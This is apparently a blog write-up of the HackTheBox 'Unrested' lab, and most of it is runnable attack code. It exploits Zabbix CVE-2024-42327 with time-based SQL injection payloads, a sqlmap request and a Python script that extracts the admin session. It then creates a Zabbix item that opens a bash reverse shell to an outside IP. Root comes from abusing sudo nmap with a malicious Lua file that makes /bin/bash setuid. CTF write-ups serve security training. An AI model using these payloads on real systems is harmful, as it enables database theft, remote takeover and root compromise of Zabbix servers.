Post

HackTheBox Unrested Writeup

Explore the fundamentals of cybersecurity in the Unrested Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.11.50 unrested.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.50"
domain="unrested.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
2
ports=$(nmap -p- --min-rate=1000 -T4 unrested.htb | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV unrested.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Nmap scan report for unrested.htb (10.10.11.50)
Host is up (0.051s latency).

PORT      STATE SERVICE             VERSION
22/tcp    open  ssh                 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http                Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open  tcpwrapped
10051/tcp open  ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SQL Injection CVE-2024-42327

ZabbixApi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
auth=$(curl -s --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.login",
    "params": {
      "username": "matthew",
      "password": "96qzn0h2e1k3"
    },
    "id": 1
  }' | jq -r '.result')
echo "Auth token: $auth"
echo 'Updating user groups...'
curl -s --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.update",
    "params": {
      "userid": "3",
      "usrgrps": [
        {"usrgrpid": "13"},
        {"usrgrpid": "7"}
      ]
    },
    "auth": "'"$auth"'",
    "id": 1
  }' | jq
echo -e "\nFetching user details..."
curl -s --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
      "output": ["userid", "3"],
      "selectUsrgrps": ["usrgrpid", "name"],
      "filter": {
        "alias": "matthew"
      }
    },
    "auth": "'"$auth"'",
    "id": 1
  }' | jq
echo 'CVE-2024-42327'
time curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
        "output": ["userid", "username"],
        "selectRole": ["roleid", "name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"],
        "editable": 1
    },
    "auth": "'"$auth"'",
    "id": 1
}' -o /dev/null
cat > req <<EOF
POST /zabbix/api_jsonrpc.php HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 358
Host: 10.10.11.50:80
Content-Type: application/json-rpc
Connection: keep-alive

{
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
        "output": ["userid", "username"],
        "selectRole": [
            "roleid",
            "name *"
        ],
        "editable": 1
    },
    "auth": "$auth",
    "id": 1
}
EOF
sqlmap -r "$(pwd)/req" --dbs --batch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import requests
from datetime import datetime
import string
import sys
from concurrent.futures import ThreadPoolExecutor

URL = "http://unrested.htb/zabbix/api_jsonrpc.php"
TRUE_TIME = 1
ROW = 0
USERNAME = "matthew"
PASSWORD = "96qzn0h2e1k3"

def authenticate():
    payload = {
        "jsonrpc": "2.0",
        "method": "user.login",
        "params": {
            "username": USERNAME,
            "password": PASSWORD
        },
        "id": 1
    }
    response = requests.post(URL, json=payload)
    if response.status_code == 200:
        try:
            response_json = response.json()
            auth_token = response_json.get("result")
            if auth_token:
                print(f"Login successful! Auth token: {auth_token}")
                return auth_token
            else:
                print(f"Login failed. Response: {response_json}")
        except Exception as e:
            print(f"Error: {str(e)}")
    else:
        print(f"HTTP request failed with status code {response.status_code}")

def send_injection(auth_token, position, char):
    payload = {
        "jsonrpc": "2.0",
        "method": "user.get",
        "params": {
            "output": ["userid", "username"],
            "selectRole": [
                "roleid",
                f"name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME} - (IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF)"
            ],
            "editable": 1,
        },
        "auth": auth_token,
        "id": 1
    }
    before_query = datetime.now().timestamp()
    response = requests.post(URL, json=payload)
    after_query = datetime.now().timestamp()
    response_time = after_query - before_query
    return char, response_time

def test_characters_parallel(auth_token, position):
    with ThreadPoolExecutor(max_workers=10) as executor:
        futures = {executor.submit(send_injection, auth_token, position, char): char for char in string.printable}
        for future in futures:
            char, response_time = future.result()
            if TRUE_TIME - 0.5 < response_time < TRUE_TIME + 0.5:
                return char
    return None

def print_progress(extracted_value):
    sys.stdout.write(f"\rExtracting admin session: {extracted_value}")
    sys.stdout.flush()

def extract_admin_session_parallel(auth_token):
    extracted_value = ""
    max_length = 32
    for position in range(1, max_length + 1):
        char = test_characters_parallel(auth_token, position)
        if char:
            extracted_value += char
            print_progress(extracted_value)
        else:
            print(f"\n(-) No character found at position {position}, stopping.")
            break
    return extracted_value

if __name__ == "__main__":
    print("Authenticating...")
    auth_token = authenticate()
    print("Starting data extraction...")
    admin_session = extract_admin_session_parallel(auth_token)

Admin Revshell

1
nc -lvnp 9001
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
echo -n 'Admin Auth ? '; read auth
curl -s --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
      "jsonrpc": "2.0",
      "method": "host.get",
      "params": {
          "output": ["hostid", "host"],
          "selectInterfaces": ["interfaceid"]
      },
      "auth": "'"$auth"'",
      "id": 1
  }'
curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
      "jsonrpc": "2.0",
      "method": "item.create",
      "params": {
          "name": "rce",
          "key_": "system.run[bash -c '\''bash -i >& /dev/tcp/10.10.14.18/9001 0>&1'\'']",
          "delay": "1",
          "hostid": "10084",
          "type": 0,
          "value_type": 1,
          "interfaceid": "1"
      },
      "auth": "'"$auth"'",
      "id": 1
  }'

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

1
stty size; stty raw -echo; fg

As the last step, set the terminal environment:

1
export TERM=xterm;

PrivEsc nmap Wrapper

The user zabbix has sudo privileges to execute nmap as any user without a password:

1
sudo -l

Output:

1
2
User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *

Running:

1
sudo nmap --interactive

Output:

1
Interactive mode is disabled for security reasons.

This indicates a custom wrapper for nmap has been implemented by Zabbix to restrict certain functionality.

To confirm the wrapper:

1
cat $(which nmap)

The output reveals that it’s a wrapper script. However, we can bypass the restrictions using the --datadir option of nmap.

1
2
3
echo 'os.execute("chmod 4775 /bin/bash")' > /tmp/nse_main.lua
sudo /usr/bin/nmap --datadir=/tmp -sC localhost
ls -la /bin/bash
1
2
bash -p
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.